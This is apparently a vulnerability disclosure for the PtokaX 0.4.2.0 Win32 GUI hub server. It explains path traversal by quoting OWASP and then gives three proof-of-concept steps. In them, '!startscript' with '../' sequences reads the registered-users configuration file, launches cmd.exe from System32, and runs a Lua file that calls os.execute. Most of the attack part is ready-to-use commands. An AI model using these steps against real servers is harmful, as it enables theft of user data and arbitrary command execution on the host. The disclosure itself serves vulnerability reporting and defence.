PtokaX 0.4.2.0 Win32 GUI => path traversal, read files, execute files
Found by: Kacper (info[_/at/_]devilteam.pl)
My Website: http://devilteam.pl/
Pozdro dla kumatych :)
greetz:
1337day.com, securityreason.com
===================================================================
-------------------------------------------------------------------
PtokaX Direct Connect Hub is a multi-platform server application for Neo-Modus Direct Connect Peer-To-Peer sharing network.
Website: http://www.ptokax.org/
-------------------------------------------------------------------
Path Traversal:
A Path Traversal attack aims to access files and directories that are stored outside the web root folder.
By browsing the application, the attacker looks for absolute links to files stored on the web server.
By manipulating variables that reference files with "dot-dot-slash (../)" sequences and its variations, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration and critical system files, limited by system operational access control.
The attacker uses "../" sequences to move up to root directory, thus permitting navigation through the file system.
This attack can be executed with an external malicious code injected on the path, like the Resource Injection attack.
To perform this attack its not necessary to use a specific tool; attackers typically use a spider/crawler to detect all URLs available.
This attack is also known as "dot-dot-slash", "directory traversal", "directory climbing" and "backtracking".
from: https://www.owasp.org/index.php/Path_Traversal
-------------------------------------------------------------------
-------------------------------------------------------------------
Read files & Execute files:
In PtokaX GUI, we have in Settings "Scripts" tab, all scripts are listing automatic from "scripts" folder. It should work only for lua scripts.
So we can't add any file what is not in "scripts" folder.
(example PtokaX path = C:\Users\Kacper\Desktop\0.4.2.0\)
-------------------------------------------------------------------
PoC1 (read file):
Log on to ptokax, a higher profile than the operator and write:
!startscript ../cfg/RegisteredUsers.xml
we will see:
<PtokaX> *** Error, script ../cfg/RegisteredUsers.xml start failed.
now go to Settings "Scripts" tab, in listview we see "../cfg/RegisteredUsers.xml"
To read file, click right and click "Open in script editor"
-------------------------------------------------------------------
PoC2 (execute file):
Log on to ptokax, a higher profile than the operator and write:
!startscript ../../../../../Windows/System32/cmd.exe
we will see:
<PtokaX> *** Error, script ../../../../../Windows/System32/cmd.exe start failed.
now go to Settings "Scripts" tab, in listview we see "../../../../../Windows/System32/cmd.exe"
To execute file, click right and click "Open in external editor"
-------------------------------------------------------------------
PoC3 (lua code execution):
-----------------------------------------------
plik.txt:
os.execute("dir c:\\windows | more")
-----------------------------------------------
-----------------------------------------------
plik.jpg:
os.execute("dir c:\\windows | more")
-----------------------------------------------
save in c:/
Log on to ptokax, a higher profile than the operator and write:
!startscript ../../../../../plik.txt
!startscript ../../../../../plik.jpg
===================================================================
